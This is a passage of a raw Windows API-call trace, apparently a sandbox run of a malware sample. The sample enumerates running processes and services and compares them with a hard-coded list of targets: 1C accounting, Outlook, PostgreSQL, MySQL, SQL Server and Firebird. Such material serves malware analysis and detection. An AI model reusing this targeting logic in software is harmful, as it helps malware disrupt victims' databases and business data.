lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0123.721] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0123.721] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0123.721] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0123.721] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0123.721] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0123.721] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0123.721] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0123.721] lstrlenW (lpString="userinit.exe") returned 12 [0123.721] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0123.722] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0123.722] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0123.722] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0123.722] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0123.722] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0123.722] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0123.722] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0123.722] lstrlenW (lpString="explorer.exe") returned 12 [0123.722] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0123.722] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0123.722] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0123.722] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0123.722] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0123.722] lstrcmpiW (lpString1="mysqld.exe", lpString2="explorer.exe") returned 1 [0123.722] lstrcmpiW (lpString1="sqlservr.exe", lpString2="explorer.exe") returned 1 [0123.722] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0123.722] lstrlenW (lpString="dwm.exe") returned 7 [0123.722] lstrcmpiW (lpString1="1c8.exe", lpString2="dwm.exe") returned -1 [0123.723] lstrcmpiW (lpString1="1cv77.exe", lpString2="dwm.exe") returned -1 [0123.723] lstrcmpiW (lpString1="outlook.exe", lpString2="dwm.exe") returned 1 [0123.723] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0123.723] lstrlenW (lpString="svchost.exe") returned 11 [0123.723] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="runonce.exe")) returned 1 [0123.723] lstrlenW (lpString="runonce.exe") returned 11 [0123.723] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0123.724] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0123.724] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0123.724] lstrlenW (lpString="spoolsv.exe") returned 11 [0123.724] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0123.724] lstrlenW (lpString="cmd.exe") returned 7 [0123.724] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0123.725] lstrlenW (lpString="dllhost.exe") returned 11 [0123.725] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0123.725] lstrlenW (lpString="conhost.exe") returned 11 [0123.725] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0123.725] lstrlenW (lpString="reader_sl.exe") returned 13 [0123.725] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0123.726] lstrlenW (lpString="AdobeARM.exe") returned 12 [0123.726] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 0 [0123.726] CloseHandle (hObject=0x12c) returned 1 [0123.726] Sleep (dwMilliseconds=0x1f4) [0124.527] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8b6068 [0124.541] EnumServicesStatusExW (in: hSCManager=0x8b6068, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0124.853] GetLastError () returned 0xea [0124.853] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa08) returned 0x8ee200 [0124.853] EnumServicesStatusExW (in: hSCManager=0x8b6068, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8ee200, cbBufSize=0xa08, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x8ee200, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0125.014] CloseServiceHandle (hSCObject=0x8b6068) returned 1 [0125.025] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0125.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0125.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0125.025] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0125.025] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0125.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0125.025] lstrlenW (lpString="AudioSrv") returned 8 [0125.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0125.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0125.025] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0125.025] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0125.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0125.025] lstrlenW (lpString="BFE") returned 3 [0125.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0125.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0125.025] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0125.025] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0125.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0125.025] lstrlenW (lpString="CscService") returned 10 [0125.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0125.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0125.025] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0125.025] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0125.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0125.025] lstrlenW (lpString="DcomLaunch") returned 10 [0125.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0125.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0125.025] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0125.025] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0125.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0125.025] lstrlenW (lpString="Dhcp") returned 4 [0125.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0125.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0125.025] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0125.026] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0125.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0125.026] lstrlenW (lpString="Dnscache") returned 8 [0125.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0125.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0125.026] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0125.026] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0125.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0125.026] lstrlenW (lpString="eventlog") returned 8 [0125.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0125.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0125.026] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0125.026] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0125.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0125.026] lstrlenW (lpString="EventSystem") returned 11 [0125.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0125.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0125.026] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0125.026] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0125.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0125.026] lstrlenW (lpString="gpsvc") returned 5 [0125.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0125.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0125.026] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0125.026] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0125.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0125.026] lstrlenW (lpString="lmhosts") returned 7 [0125.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0125.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0125.026] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0125.026] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0125.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0125.026] lstrlenW (lpString="MMCSS") returned 5 [0125.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0125.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0125.026] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0125.026] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0125.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0125.027] lstrlenW (lpString="nsi") returned 3 [0125.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0125.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0125.027] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0125.027] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0125.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0125.027] lstrlenW (lpString="PlugPlay") returned 8 [0125.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0125.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0125.027] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0125.027] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0125.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0125.027] lstrlenW (lpString="Power") returned 5 [0125.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0125.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0125.027] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0125.027] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0125.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0125.027] lstrlenW (lpString="ProfSvc") returned 7 [0125.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0125.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0125.027] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0125.027] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0125.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0125.027] lstrlenW (lpString="RpcEptMapper") returned 12 [0125.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0125.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0125.027] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0125.027] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0125.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0125.027] lstrlenW (lpString="RpcSs") returned 5 [0125.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0125.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0125.027] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0125.028] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0125.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0125.028] lstrlenW (lpString="SamSs") returned 5 [0125.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0125.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0125.028] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0125.028] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0125.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0125.028] lstrlenW (lpString="Schedule") returned 8 [0125.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0125.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0125.028] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0125.028] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0125.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0125.028] lstrlenW (lpString="SENS") returned 4 [0125.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0125.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0125.028] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0125.028] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0125.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0125.028] lstrlenW (lpString="ShellHWDetection") returned 16 [0125.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0125.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0125.028] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0125.028] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0125.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0125.028] lstrlenW (lpString="Spooler") returned 7 [0125.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0125.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0125.028] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0125.028] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0125.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0125.028] lstrlenW (lpString="Themes") returned 6 [0125.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0125.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0125.028] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0125.028] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0125.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0125.029] lstrlenW (lpString="UxSms") returned 5 [0125.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0125.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0125.029] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0125.029] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0125.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0125.029] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ee200 | out: hHeap=0x880000) returned 1 [0125.029] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x134 [0125.030] Process32FirstW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0125.031] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0125.031] lstrlenW (lpString="System") returned 6 [0125.031] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0125.031] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0125.031] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0125.031] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0125.031] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0125.031] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0125.031] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0125.031] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0125.031] lstrlenW (lpString="smss.exe") returned 8 [0125.031] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0125.031] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0125.031] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0125.031] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0125.031] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0125.032] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0125.032] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0125.032] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0125.032] lstrlenW (lpString="csrss.exe") returned 9 [0125.032] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0125.032] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0125.032] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0125.032] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0125.032] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0125.032] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0125.032] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0125.032] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0125.032] lstrlenW (lpString="wininit.exe") returned 11 [0125.032] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0125.032] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0125.032] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0125.032] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0125.032] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0125.033] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0125.033] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0125.033] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0125.033] lstrlenW (lpString="csrss.exe") returned 9 [0125.033] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0125.033] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0125.033] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0125.033] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0125.033] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0125.033] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0125.033] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0125.033] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0125.033] lstrlenW (lpString="winlogon.exe") returned 12 [0125.033] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0125.033] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0125.033] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0125.033] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0125.033] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0125.033] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0125.034] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0125.034] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0125.034] lstrlenW (lpString="services.exe") returned 12 [0125.034] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0125.034] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0125.034] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0125.034] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0125.034] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0125.034] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0125.034] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0125.034] Process32NextW (in: hSnapshot=0x134, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, 